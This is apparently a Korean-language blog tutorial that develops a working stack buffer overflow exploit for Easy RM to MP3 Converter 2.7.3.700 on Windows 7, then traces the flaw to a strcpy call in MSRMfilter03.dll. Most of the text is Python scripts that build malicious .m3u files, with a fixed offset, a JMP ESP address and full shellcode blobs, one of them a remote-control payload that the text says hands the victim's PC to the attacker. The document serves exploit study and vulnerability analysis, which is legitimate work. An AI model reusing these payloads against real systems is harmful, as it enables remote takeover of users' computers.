취약점 개요

2009년 7월 17일 Crazy_Hacker가 Easy RM to MP3 Converter 2.7.3.700 음악 재생 프로그램의 스택 버퍼 오버플로우(Stack Buffer Overflow) 취약점을 발표했다. 취약점을 발표한지 얼마 지나지 않아 또 다른 취약점이 발견되었다.


이 취약점은 스택 버퍼 크기를 검사하지 않아 20,000 ~ 30,000 바이트 크기의 조작된 .m3u 확장자 파일을 로드하면 스택 버퍼 오버플로우가 발생한다.

 

이는 사용자가 취약한 프로그램을 실행하면 공격자가 원격에서 마음대로 조정할 수 있다.


취약점 목록


동일한 프로그램에 많은 취약점이 Exploit-DB에 등록되어 있다. 하지만, 두개의 취약점만 CVE(Common Vulnerabilities and Exposure) 번호가 등록되어 있고, 그 외 취약점은 등록되어 있지 않는다.


CVE 번호가 등록된 "CVE-2009-1329", "CVE-2009-1330"의 위험도 등급은 CVSS(Common Vulnerability Scoring System) 기준에 따라 10점 만점 중에 9.3점으로 위험도가 높게 선정됐다.


CVSS


실습 환경

구분 내용
운영체제 Windows 7 32bit SP1(희생자), Kali Linux 2016.1(공격자)
프로그램 Easy RM to MP3 Converter 2.7.3.700
증명 코드 https://www.exploit-db.com/exploits/9177

공격 코드 개발

Exploit-DB에 업로드 된 증명 코드(Poc, Proof of Concept)는 윈도우 XP 32bit 운영체제에서 동작한다.


취약한 프로그램을 윈도우 7 32bit 운영체제에 설치하고, 파이썬(Python) 스크립트로 취약점을 증명하기 위한 코드를 개발한다. 단, 공격 코드 개발 시 윈도우 보호 기법을 우회할 수 있는 기법은 배제하고, 가장 기본적인 스택 버퍼 오버플로우만 다룬다.

 


스택 버퍼 오버플로우의 시작은 프로그램 실행 시 비정상적인 에러(크래시, Crash)가 발생한지 확인하는 것이다.


파이썬 스크립트로 20,000개의 "A" 문자열을 1.m3u 파일로 저장하는 코드를 작성한다. 작성된 코드를 실행하면 1.m3u 파일이 생성된다.


# 1.m3u - by Daze

junk = "A" * 20000

f = open("1.m3u", "wb")
f.write(junk)
f.close()

print "[+] m3u file created successfully"

Easy RM to MP3 Converter 프로그램에서 1.m3u 파일을 열어보면 크래시가 발생하지 않고, 정상적인 에러만 발생한다. 이는 1.m3u 파일이 EIP를 덮기 위한 버퍼의 크기가 작다는 것을 의미한다.


정상적인 에러 발생


30,000개의 "A" 문자열을 2.m3u 파일로 저장하는 코드(2.py)를 작성하고, 프로그램에서 2.m3u 파일을 열어보면 크래시가 발생하여 프로그램이 종료된다.


에러가 발생한 내용을 보면 프로그램의 버퍼를 초과하여 RET가 변조되었고, RET가 존재하지 않은 주소(0x41414141, AAAA)로 이동할 때 예외가 발생한다.


비정상적인 에러 발생


크래시 발생 시 자동으로 설정된 디버거(이뮤니티 디버거)가 실행되고, 크래시 현황을 포착할 수 있게 설정한다.


레지스트리 경로

○ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug


Auto

○ 0 : 크래시 발생 시 자동으로 설정된 디버거가 실행되지 않음

○ 1 : 크래시 발생 시 자동으로 설정된 디버거가 실행됨


Debugger

○ 실행할 디버거의 절대 경로

○ "C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld


postmortem debugger 설정


프로그램에서 2.m3u 파일을 열어보면 크래시가 발생한다. 프로그램 디버그 버튼을 클릭하면 자동으로 설정된 디버거가 실행되어 현재 크래시 현황을 포착한다.


레지스터 창을 보면 EIP가 0x41414141(AAAA)를 가리키고 있고, 스택 창은 0x41414141(AAAA) 문자열로 가득 차 있다.


크래시 현황 포착


EIP를 덮어쓰기 위한 버퍼의 크기가 버퍼의 시작 위치부터 20,000 ~ 30,000 사이인 것을 확인했다.


공격자가 작성한 공격 코드(쉘코드)를 실행하려면 정확한 버퍼의 크기를 알아야한다. 정확한 버퍼의 크기를 알 수 있다면 EIP를 공격 코드 주소로 가리키게 하여 공격 코드가 실행되게 할 수 있다.


하단의 입력 폼에 !mona pattern_create 10000을 입력하면 특정한 규칙을 갖는 10,000개의 패턴을 pattern.txt 파일로 저장한다.


메타스플로잇 프레임워크

○ # cd /usr/share/metasploit-framework/tools/exploit

○ # ./pattern_create.rb 10000


mona 사용법

○ !mona

○ !mona help pattern_create


패턴 생성


20,000개의 "A" 문자열과 10,000개의 패턴을 3.m3u 파일로 저장하는 코드(3.py)를 작성하고 3.m3u 파일을 생성한다.


# 3.m3u - by Daze

junk1 = "A" * 20000
junk2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab ..."  # pattern_create
payload = junk1 + junk2

f = open("3.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 3.m3u 파일을 열어보면 EIP가 0x48317548로 변경됐다.


패턴 변경 시 레지스터


!mona pattern_offset 48317548 10000을 입력하여 EIP를 덮어쓰기 위한 버퍼의 크기를 확인한다. 변경된 EIP(0x48317548)를 지정하면 버퍼의 크기가 6063이다.


메타스플로잇 프레임워크

○ # cd /usr/share/metasploit-framework/tools/exploit

○ # ./pattern_offset.rb 48317548 10000


mona

○ !mona suggest


버퍼의 길이


EIP를 덮어쓰기 위한 버퍼의 크기는 6063이므로 최종적인 버퍼의 크기는 26,063(20,000 + 6,063)이다.


26,063개의 "A" 문자열, 4개의 "B" 문자열, 특정한 패턴을 갖는 문자열을 4.m3u 파일로 저장하는 코드(4.py)를 작성하고 4.m3u 파일을 생성한다.


# 4.m3u - by Daze

junk1 = "A" * 26063
eip = "BBBB"
shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "2ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "3ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload = junk1 + eip + shellcode

f = open("4.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 4.m3u 파일을 열어보면 함수가 종료(RET)되어 ESP에 0x42424242(BBBB)가 들어가고, ESP에 쉘코드가 들어간다.


하지만, ESP는 쉘코드의 첫 번째 문자가 들어가지 않고, 다섯 번째 문자부터 들어간다.


쉘코드 시작 위치


ESP가 쉘코드의 다섯 번째 문자부터 들어가므로, 쉘코드 앞에 4바이트의 NOP를 추가하여 5.m3u 파일로 저장하는 코드(5.py)를 작성한다.


# 5.m3u - by Daze

junk1 = "A" * 26063
eip = "BBBB"
nop = "\x90" * 4
shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "2ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "3ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload = junk1 + eip + nop + shellcode

f = open("5.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 5.m3u 파일을 열어보면 ESP에 정확히 쉘코드의 첫 번째 문자들이 순서대로 저장되고, 쉘코드 밑에 "A" 문자열들이 저장된다.


이는 "A" 문자열들이 대부분 버퍼의 첫 부분에 위치하므로 RET를 덮어 쓰기 전 쉘코드를 버퍼의 첫 부분에 넣을 수 있게 된다.


정확히 가리키는 쉘코드 시작 위치


0x000FFCC4 주소에서 쉘코드가 실행되므로 EIP에 0x000FFCC4 주소를 지정한다. 또한, 쉘코드 중간에 브레이크 포인트를 걸어 쉘코드가 순서대로 저장되는지 확인한다.


# 6.m3u - by Daze
import struct

junk1 = "A" * 26063
eip = struct.pack('<L',0x000FFCC4)
nop = "\x90" * 4
shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "\xcc"
shellcode += "2ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "3ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload = junk1 + eip + nop + shellcode

f = open("6.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 6.m3u 파일을 열어보면 EIP는 코드에서 의도한대로 0x000FFCC4 주소로 덮어씌워졌다.


하지만, ESP는 예상과 다르게 쉘코드가 저장되지 않는 것을 확인할 수 있다. 특정 메모리 주소(0x000FFCC4)는 종단 문자(NULL)가 포함되어 있으므로 쉘코드 위치로 이동하지 못한다.


EIP에 직접 쉘코드의 주소를 지정하면 ASLR이 적용되어 있는 최근 윈도우 운영체제에서 특정 메모리의 주소가 랜덤으로 변경되기 때문에 쉘코드에 도달하지 못한다.


쉘코드 이동 실패


직접 쉘코드의 주소를 지정하는 대신에 ESP로 이동하는 명령어를 이용하면 쉘코드로 이동할 수 있다. 윈도우 어플리케이션은 자체적으로 명령어 코드를 가지는 하나 이상의 DLL를 가져와서 사용한다.


이 주소는 정적이므로 ESP로 이동하는 명령어(JMP ESP, CALL ESP, POP RET, PUSH RET 등)명령어를 가지는 DLL를 EIP로 덮어쓴다면 쉘코드가 실행될 수 있다.


Easy RM to MP3 Converter 프로그램을 실행시키고, 이뮤니티 디버거에서 해당 프로세스를 잡는다. (File > Attach)


하단의 입력 폼에 !mona jmp -r esp를 입력하면 jmp esp 명령어를 가진 주소가 출력되는데, 프로그램에서 사용한 모듈의 주소(NULL 바이트가 들어가지 않는)를 사용하면 된다.


○ View > Memory(Alt + M) > Search(Ctrl + B) > FF E4 > !mona assemble -s "jmp esp"

○ View > Executable modules(Alt + E) or !mona modules > 프로그램에서 사용한 모듈 확인 > !mona jmp -r esp -m 모듈이름

○ !mona jmp -r esp

○ !mona find -s "\xff\xe4"


JMP ESP 주소


프로그램에서 사용한 JMP ESP 명령어를 가진 DLL의 주소를 EIP로 설정하여 7.m3u 파일을 생성하는 코드(7.py)를 작성한다.


# 7.m3u - by Daze
import struct

junk1 = "A" * 26063
eip = struct.pack('<L',0x1001b058)
nop = "\x90" * 4
shellcode = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "\xcc"
shellcode += "2ABCDEFGHIJKLMNOPQRSTUVWXYZ"
shellcode += "3ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload = junk1 + eip + nop + shellcode

f = open("7.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 7.m3u 파일을 열어보면 ESP에 쉘코드가 들어가 있는 것을 확인할 수 있다.


쉘코드 이동


ESP에 정확한 쉘코드가 들어가므로 메타스플로잇 프레임워크를 이용하여 메시지 박스를 출력하는 쉘코드를 생성하여 buf 변수에 저장한다. 또한, 쉘코드 앞에 20바이트의 NOP 값을 추가한다.


NOP 값이 없으면 JMP ESP 명령어에 의해 쉘코드 앞에 이상한 값이 들어있고(?), 쉘코드도 잘려있다.


○ msfvenom -p windows/messagebox TITLE="POC" TEXT="Daze Hack" -b '\x00\xff' -f python


# exploit1.m3u - by Daze
import struct

junk1 = "A" * 26063
eip = struct.pack('<L',0x1001b058)
nop = "\x90" * 20
buf =  ""
buf += "\xb8\x73\xa2\xfd\x2c\xd9\xc7\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x40\x83\xeb\xfc\x31\x43\x0e\x03\x30\xac\x1f"
buf += "\xd9\x6f\x5b\x44\xfb\xfb\xb8\x8f\xcd\xd1\x73\x18\x1f"
buf += "\x1c\x17\x6c\x2e\xae\x53\x04\xdd\x45\x15\xf5\x56\x1f"
buf += "\xd2\x8e\x17\xbf\x69\xa6\xdf\xf0\x75\xb2\xec\x57\x87"
buf += "\xed\xec\x86\xe7\x86\x7f\x6c\xcc\x13\x3a\x50\x87\x70"
buf += "\xed\xd0\x96\x92\x66\x6a\x81\xe9\x23\x4a\xb0\x06\x30"
buf += "\xbe\xfb\x53\x83\x35\xfa\x8d\xdd\xb6\xcc\x91\xe2\xe4"
buf += "\xab\xd2\x6f\xf3\x72\x1d\x82\xfa\xb3\x49\x69\xc7\x47"
buf += "\xaa\xba\x42\x59\x39\xe0\x88\x98\xd5\x73\x5b\x96\x62"
buf += "\xf7\x01\xbb\x75\xec\x3e\xc7\xfe\xf3\xa8\x41\x44\xd0"
buf += "\x34\x33\x86\xaa\x4c\x9a\xdc\x42\xa9\x55\x1e\x3c\xbf"
buf += "\x28\x91\x51\xed\x5c\x32\x56\xee\x62\xc4\xec\x14\x26"
buf += "\xa9\x36\xf6\x2b\xd1\xdb\xd2\x99\x35\x6d\xe5\xe1\x39"
buf += "\xfb\x5c\x16\xae\x90\x32\x06\x6f\x01\xf9\x74\x41\xb5"
buf += "\x95\x0d\xee\x50\x17\xde\xcb\x13\x8b\x3a\xe6\xaa\xd5"
buf += "\x15\x09\xf9\x1d\x13\x37\x52\xa6\x8b\x1a\x1e\x64\x4c"
buf += "\x46\x85\xc6\xbb\x28\x3a\x19\xc4\xbf\x94\xaa\x78\x18"
buf += "\x24\xef\xf7\xc4\x62\x0c\x81\x16\x02\x79\xc9\xf8\xf3"
buf += "\x15\xc9\xb0\x92\x86\x61\x05\x34\x32\x17\xb4\x7f\x4a"
buf += "\x9b\x92\x76\xc3\xc5\xea\x5a\x81\x56\x5c\x09\xda\x89"
buf += "\x6f\x6d\x74\xd5\xc5\x65"
payload = junk1 + eip + nop + buf

f = open("exploit1.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 exploit1.m3u 파일을 열어보면 메시지 박스가 실행된다.


메시지 박스 실행


공격 코드 실행

파이썬 스크립트로 메시지 박스를 출력하는 공격 코드를 작성했다. 이 공격 코드는 흔히 취약점을 증명하기 위한 코드이다. 그렇다면 실전 공격 상황에서 어떤 쉘코드를 넣고 실행하는지 알아본다.


사용자가 조작된 exploit2.m3u 파일을 열면 공격자에게 제어권을 전송하기 위해 칼리 리눅스에서 메타프리터 쉘코드를 생성한다. 쉘코드를 인코딩하면 쉘코드의 크기가 커져 제한된 버퍼에 넣으면 쉘코드가 실행 중 끊기는 현상(넣는 방법 존재)이 발생한다.


하지만, Easy RM to MP3 Converter 프로그램은 버퍼 용량에 제한이 없다. 이는 쉘코드 밑에 "A" 문자열이 있고, "A" 문자열을 덮어씌운 것을 확인했다. 또한, 자주 사용하는 x86/shikata_ga_nai 인코더는 부적절한 문자로 인해 .m3u 파일 실행 시 크래시가 발생한다.


.m3u 파일은 파일 이름과 파일 경로에서 부적절한 문자를 제외해야 되는데, 이를 손쉽게 하는 인코더가 x86/alpha_upper, x86/alpha_mixed이다. 이 인코더는 문자 필터링으로 인해 숫자로 구성된 쉘코드를 생성하게 만들어 준다.


쉘코드 생성


인코딩이 적용된 쉘코드를 보면 크기가 상당히 증가한 것을 알 수 있다. 쉘코드를 exploit2.py에 적용한다.


# exploit2.m3u - by Daze
import struct

junk1 = "A" * 26063
eip = struct.pack('<L',0x1001b058)
nop = "\x90" * 20
buf =  ""
buf += "\xda\xd0\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43"
buf += "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30"
buf += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30"
buf += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
buf += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a"
buf += "\x49\x4b\x4c\x4d\x38\x4d\x52\x43\x30\x43\x30\x35\x50"
buf += "\x35\x30\x4d\x59\x4a\x45\x36\x51\x4f\x30\x32\x44\x4c"
buf += "\x4b\x50\x50\x46\x50\x4c\x4b\x50\x52\x54\x4c\x4c\x4b"
buf += "\x56\x32\x32\x34\x4c\x4b\x42\x52\x56\x48\x44\x4f\x48"
buf += "\x37\x30\x4a\x31\x36\x30\x31\x4b\x4f\x4e\x4c\x37\x4c"
buf += "\x33\x51\x53\x4c\x53\x32\x36\x4c\x51\x30\x39\x51\x58"
buf += "\x4f\x34\x4d\x45\x51\x39\x57\x5a\x42\x4a\x52\x30\x52"
buf += "\x36\x37\x4c\x4b\x51\x42\x44\x50\x4c\x4b\x31\x5a\x37"
buf += "\x4c\x4c\x4b\x30\x4c\x44\x51\x33\x48\x4d\x33\x31\x58"
buf += "\x33\x31\x4e\x31\x56\x31\x4c\x4b\x36\x39\x51\x30\x35"
buf += "\x51\x58\x53\x4c\x4b\x51\x59\x32\x38\x4b\x53\x56\x5a"
buf += "\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x35\x51\x58\x56\x46"
buf += "\x51\x4b\x4f\x4e\x4c\x49\x51\x58\x4f\x34\x4d\x35\x51"
buf += "\x48\x47\x46\x58\x4b\x50\x53\x45\x4b\x46\x44\x43\x43"
buf += "\x4d\x5a\x58\x37\x4b\x43\x4d\x51\x34\x33\x45\x5a\x44"
buf += "\x46\x38\x4c\x4b\x36\x38\x57\x54\x33\x31\x59\x43\x43"
buf += "\x56\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x50\x58\x55\x4c"
buf += "\x33\x31\x48\x53\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48"
buf += "\x50\x4d\x59\x31\x54\x36\x44\x36\x44\x31\x4b\x31\x4b"
buf += "\x53\x51\x56\x39\x51\x4a\x36\x31\x4b\x4f\x4d\x30\x31"
buf += "\x4f\x31\x4f\x30\x5a\x4c\x4b\x54\x52\x5a\x4b\x4c\x4d"
buf += "\x31\x4d\x35\x38\x36\x53\x46\x52\x43\x30\x55\x50\x42"
buf += "\x48\x32\x57\x54\x33\x56\x52\x51\x4f\x51\x44\x43\x58"
buf += "\x50\x4c\x52\x57\x37\x56\x35\x57\x4b\x4f\x49\x45\x58"
buf += "\x38\x4c\x50\x33\x31\x53\x30\x45\x50\x31\x39\x58\x44"
buf += "\x51\x44\x46\x30\x42\x48\x37\x59\x4d\x50\x52\x4b\x43"
buf += "\x30\x4b\x4f\x4e\x35\x52\x4a\x43\x35\x43\x58\x35\x5a"
buf += "\x35\x5a\x35\x50\x42\x36\x42\x48\x35\x52\x45\x50\x32"
buf += "\x31\x31\x4c\x4c\x49\x4b\x56\x46\x30\x56\x30\x56\x30"
buf += "\x36\x30\x47\x30\x36\x30\x37\x30\x30\x50\x52\x48\x5a"
buf += "\x4a\x54\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47"
buf += "\x42\x4a\x44\x50\x36\x36\x31\x47\x42\x48\x4c\x59\x49"
buf += "\x35\x32\x54\x35\x31\x4b\x4f\x59\x45\x4d\x55\x49\x50"
buf += "\x32\x54\x55\x5a\x4b\x4f\x50\x4e\x53\x38\x33\x45\x5a"
buf += "\x4c\x4a\x48\x55\x31\x35\x50\x53\x30\x45\x50\x42\x4a"
buf += "\x55\x50\x32\x4a\x55\x54\x46\x36\x51\x47\x55\x38\x54"
buf += "\x42\x38\x59\x4f\x38\x51\x4f\x4b\x4f\x58\x55\x4d\x53"
buf += "\x4c\x38\x43\x30\x33\x4e\x30\x36\x4c\x4b\x50\x36\x52"
buf += "\x4a\x31\x50\x52\x48\x35\x50\x34\x50\x53\x30\x45\x50"
buf += "\x36\x36\x53\x5a\x43\x30\x33\x58\x31\x48\x4e\x44\x46"
buf += "\x33\x4a\x45\x4b\x4f\x39\x45\x4c\x53\x56\x33\x43\x5a"
buf += "\x35\x50\x31\x46\x50\x53\x36\x37\x43\x58\x44\x42\x58"
buf += "\x59\x38\x48\x31\x4f\x4b\x4f\x39\x45\x4d\x53\x4c\x38"
buf += "\x55\x50\x33\x4d\x36\x42\x51\x48\x33\x58\x53\x30\x31"
buf += "\x50\x43\x30\x33\x30\x43\x5a\x43\x30\x46\x30\x32\x48"
buf += "\x44\x4b\x46\x4f\x44\x4f\x30\x30\x4b\x4f\x39\x45\x31"
buf += "\x47\x52\x48\x43\x45\x42\x4e\x30\x4d\x53\x51\x4b\x4f"
buf += "\x59\x45\x51\x4e\x51\x4e\x4b\x4f\x34\x4c\x31\x34\x4a"
buf += "\x49\x52\x51\x4b\x4f\x4b\x4f\x4b\x4f\x53\x31\x58\x43"
buf += "\x47\x59\x59\x56\x53\x45\x4f\x37\x48\x43\x4f\x4b\x4c"
buf += "\x30\x4e\x55\x59\x32\x30\x56\x33\x5a\x35\x50\x30\x53"
buf += "\x4b\x4f\x38\x55\x41\x41"
payload = junk1 + eip + nop + buf

f = open("exploit2.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

사용자가 프로그램에서 조작된 exploit2.m3u 파일을 열면 사용자의 제어권이 공격자 PC로 전송된다.


사용자 PC 제어권 획득


취약점 발생 위치

수 만개의 "A"값을 대입하여 강제로 크래시 발생 > 디버거로 포착하여 EIP 변조 > 공격 코드 실행 단계로 취약점을 유발할 수 있는 공격 코드를 개발했다.


해당 프로그램에 취약점이 존재하는 것을 확인했으니 취약점을 분석하는 관점에서 어떤 지점에서 취약점이 발생하는지 알아본다.


실습에 사용할 코드는 메시지 박스를 출력하는 exploit1.py이다. 해당 코드에서 EIP를 "BBBB"로 변경한다.


# exploit1.m3u - by Daze
import struct

junk1 = "A" * 26063
eip = "B" * 4 # struct.pack('<L',0x1001b058)
nop = "\x90" * 20
buf =  ""
buf += "\xb8\x73\xa2\xfd\x2c\xd9\xc7\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x40\x83\xeb\xfc\x31\x43\x0e\x03\x30\xac\x1f"
buf += "\xd9\x6f\x5b\x44\xfb\xfb\xb8\x8f\xcd\xd1\x73\x18\x1f"
buf += "\x1c\x17\x6c\x2e\xae\x53\x04\xdd\x45\x15\xf5\x56\x1f"
buf += "\xd2\x8e\x17\xbf\x69\xa6\xdf\xf0\x75\xb2\xec\x57\x87"
buf += "\xed\xec\x86\xe7\x86\x7f\x6c\xcc\x13\x3a\x50\x87\x70"
buf += "\xed\xd0\x96\x92\x66\x6a\x81\xe9\x23\x4a\xb0\x06\x30"
buf += "\xbe\xfb\x53\x83\x35\xfa\x8d\xdd\xb6\xcc\x91\xe2\xe4"
buf += "\xab\xd2\x6f\xf3\x72\x1d\x82\xfa\xb3\x49\x69\xc7\x47"
buf += "\xaa\xba\x42\x59\x39\xe0\x88\x98\xd5\x73\x5b\x96\x62"
buf += "\xf7\x01\xbb\x75\xec\x3e\xc7\xfe\xf3\xa8\x41\x44\xd0"
buf += "\x34\x33\x86\xaa\x4c\x9a\xdc\x42\xa9\x55\x1e\x3c\xbf"
buf += "\x28\x91\x51\xed\x5c\x32\x56\xee\x62\xc4\xec\x14\x26"
buf += "\xa9\x36\xf6\x2b\xd1\xdb\xd2\x99\x35\x6d\xe5\xe1\x39"
buf += "\xfb\x5c\x16\xae\x90\x32\x06\x6f\x01\xf9\x74\x41\xb5"
buf += "\x95\x0d\xee\x50\x17\xde\xcb\x13\x8b\x3a\xe6\xaa\xd5"
buf += "\x15\x09\xf9\x1d\x13\x37\x52\xa6\x8b\x1a\x1e\x64\x4c"
buf += "\x46\x85\xc6\xbb\x28\x3a\x19\xc4\xbf\x94\xaa\x78\x18"
buf += "\x24\xef\xf7\xc4\x62\x0c\x81\x16\x02\x79\xc9\xf8\xf3"
buf += "\x15\xc9\xb0\x92\x86\x61\x05\x34\x32\x17\xb4\x7f\x4a"
buf += "\x9b\x92\x76\xc3\xc5\xea\x5a\x81\x56\x5c\x09\xda\x89"
buf += "\x6f\x6d\x74\xd5\xc5\x65"

payload = junk1 + eip + nop + buf

f = open("exploit1.m3u", "wb")
f.write(payload)
f.close()

print "[+] m3u file created successfully"

프로그램에서 exploit1.m3u 파일을 실행하면 EIP가 BBBB(0x42424242) 문자열로 변경되고, EIP 다음 위치인 NOP와 쉘코드가 순서대로 스택에 쌓여있다.


하지만, 왼쪽 상단의 디스어셈블러 창을 보면 데이터가 존재하지 않고, 하단의 Pause가 되어 있어 더 이상 분석이 불가능하다.


EIP 변조


크래시 발생 시 설정된 디버거가 실행되면 해당 프로그램의 취약점이 발생된 후의 결과만 확인되므로 더 이상 분석할 단서를 찾기 힘들다. 단서를 찾으려면 이뮤니티 디버거에서 프로그램을 선택하고 F9를 누른다.


○ File > Open > RM2MP3Converter.exe > 열기 > F9(실행)


디버깅할 프로그램 선택


F9를 누르면 자동으로 프로그램이 실행되고, 화면이 활성화 된다. 프로그램의 Load 버튼을 클릭하여 exploit1.m3u 파일만 선택하고(열기 버튼 누르면 안 됨), 이뮤니티 디버거에서 F12(일시 정지)를 누른다.


프로그램 선택


Alt + F9를 누르면 exploit1.m3u 파일 선택 화면이 활성화 된다.


열기 버튼을 클릭하면 이뮤니티 디버거가 포착해서 잡아준다. 포착된 디스어셈블러 창을 보면 0x410A8E 주소가 프로그램의 시작 지점이다. 시작 지점에 브레이크 포인트(F2)를 설정한다.


프로그램의 시작 지점


F8을 눌러 코드 한 줄씩 실행하면 0x41D94F 주소에서 프로그램이 종료된다.


즉, 프로그램의 시작 지점(0x410A8E)부터 프로그램의 종료 지점(0x41D94F) 사이의 취약점이 존재한다. 종료 지점에도 브레이크 포인트를 설정한다.


프로그램의 종료 지점


브레이크 포인트를 설정하면 Alt + F9 누를 필요 없이 F9 누르고, exploit1.m3u 파일을 불러오면 자동으로 프로그램 시작 지점에 걸린다.


○ 이뮤니티 디버거에서 RM2MP3Converter.exe 실행 > F9

○ 프로그램에서 Load 버튼 클릭 > exploit1.m3u 파일 선택 후 열기 클릭

○ 브레이크 포인트가 설정된 시작 지점에 걸림


프로그램의 시작 지점


프로그램의 시작 지점에서 F9를 누르면 프로그램의 종료 지점으로 이동된다. 해당 지점은 함수이므로 F7을 눌러 함수 내부로 이동한다.


F8를 누르다 보면 fopen("exploit1.m3u", "rb") 함수(0x41B9AD)를 이용하여 exploit1.m3u 파일을 읽기 모드로 불러오는 코드를 볼 수 있다. 이 지점도 브레이크 포인트를 설정한다.


fopen() 함수 호출 지점


F8를 누르다 보면 fread("0x000FF678", 1024, 1, "exploit1.m3u") 함수(0x41B9D6)를 이용해 exploit1.m3u 파일의 내용을 읽게 되는 코드를 볼 수 있다. 스택을 보면 "A" 문자열이 저장된다.


fread() 함수 호출 지점


F8를 누르다 보면 0x41BCFB 주소에서 프로그램이 종료된다. 이 지점도 브레이크 포인트를 설정한다.


프로그램 종료 지점


프로그램을 다시 실행하여 0x41BCFB 주소 내부로 이동한다. F8를 누르다 보면 0x41E9E6 주소에서 "BBBB" 주소를 불러온다. 이는 파이썬 스크립트에서 EIP를 "BBBB"로 변경한 것이다.


EIP 변조 지점


프로그램을 다시 실행하여 0x41E9C1 주소 내부로 이동한다.


외부 라이브러리 호출 지점


0x41E9C1 주소 내부로 이동하면 동적 링크 라이브러리(MSRMfilter03.dll)를 이용하여 strcpy() 함수로 문자열을 복사한다. 즉, 문자열을 복사하는 과정에서 스택 버퍼 오버플로우 취약점이 발생한다.


외부 라이브러리 호출 지점


▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

▶ SafeSEH 우회 - Stack BOF

▶ Metasploit(msfvenom) 쉘코드 디코딩

▶ Metasploit msfvenom 기능 및 사용법

▶ CVE-2014-6332 취약점 분석 (Internet Explorer)

▶ UAC(User Account Control) 우회 - PowerShell

▶ CVE-2017-12617 취약점 분석 (Apache Tomcat)

▶ SEH Overwrite - Stack BOF

▶ 윈도우 취약점 분석 컴파일 환경

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유